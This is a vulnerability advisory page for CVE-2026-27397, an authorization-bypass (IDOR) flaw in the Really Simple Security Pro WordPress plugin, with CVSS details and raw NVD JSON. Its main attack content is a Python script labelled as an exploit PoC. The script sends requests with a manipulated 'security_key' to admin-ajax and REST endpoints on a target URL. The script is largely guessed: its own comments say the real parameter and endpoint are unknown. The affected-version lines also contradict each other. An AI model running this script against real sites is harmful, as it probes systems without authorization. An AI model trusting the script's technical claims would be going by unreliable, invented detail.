Security Vulnerability Report
中文
CVE-2026-27397 CVSS 6.5 MEDIUM

CVE-2026-27397

Published: 2026-03-19 06:16:25
Last Modified: 2026-04-28 19:37:17

Description

Authorization Bypass Through User-Controlled Key vulnerability in Really Simple Plugins B.V. Really Simple Security Pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Really Simple Security Pro: from n/a through 9.5.4.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Really Simple Security Pro < 9.5.4.0
Really Simple Security Pro <= 9.5.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-27397 PoC - Really Simple Security Pro Authorization Bypass # This PoC demonstrates the IDOR vulnerability in access control import requests import argparse def exploit_cve_2026_27397(target_url, attack_path): """ Exploit for CVE-2026-27397: Authorization Bypass Through User-Controlled Key Affects: Really Simple Security Pro <= 9.5.4.0 """ # Target the vulnerable endpoint # The vulnerability allows bypassing access control via user-controlled keys vulnerable_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/users", f"{target_url}/?rest_route=/really-simple-security/v1/" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } print(f"[*] Target: {target_url}") print(f"[*] Vulnerability: CVE-2026-27397 - Authorization Bypass\n") for endpoint in vulnerable_endpoints: print(f"[*] Testing endpoint: {endpoint}") # Attempt to access protected resources with manipulated keys # The vulnerable parameter may be 'security_key', 'nonce', or similar manipulated_params = { 'action': 'really_simple_security_ajax', 'security_key': attack_path, # User-controlled key 'subaction': 'get_settings' } try: response = requests.get(endpoint, params=manipulated_params, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[!] Potential vulnerability confirmed at {endpoint}") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("\n[*] Note: This is a demonstration. Actual exploitation requires") print("[*] identifying the specific vulnerable parameter and endpoint.") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2026-27397 PoC') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-k', '--key', default=' manipulated_key', help='Attack key/path') args = parser.parse_args() exploit_cve_2026_27397(args.url, args.key)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27397", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:25.410", "lastModified": "2026-04-28T19:37:17.077", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Really Simple Plugins B.V. Really Simple Security Pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Really Simple Security Pro: from n/a through 9.5.4.0."}, {"lang": "es", "value": "Vulnerabilidad de elusión de autorización a través de clave controlada por el usuario en Really Simple Plugins B.V. Really Simple Security Pro permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Really Simple Security Pro: desde n/a hasta 9.5.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/really-simple-ssl-pro/vulnerability/wordpress-really-simple-security-pro-plugin-9-5-3-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}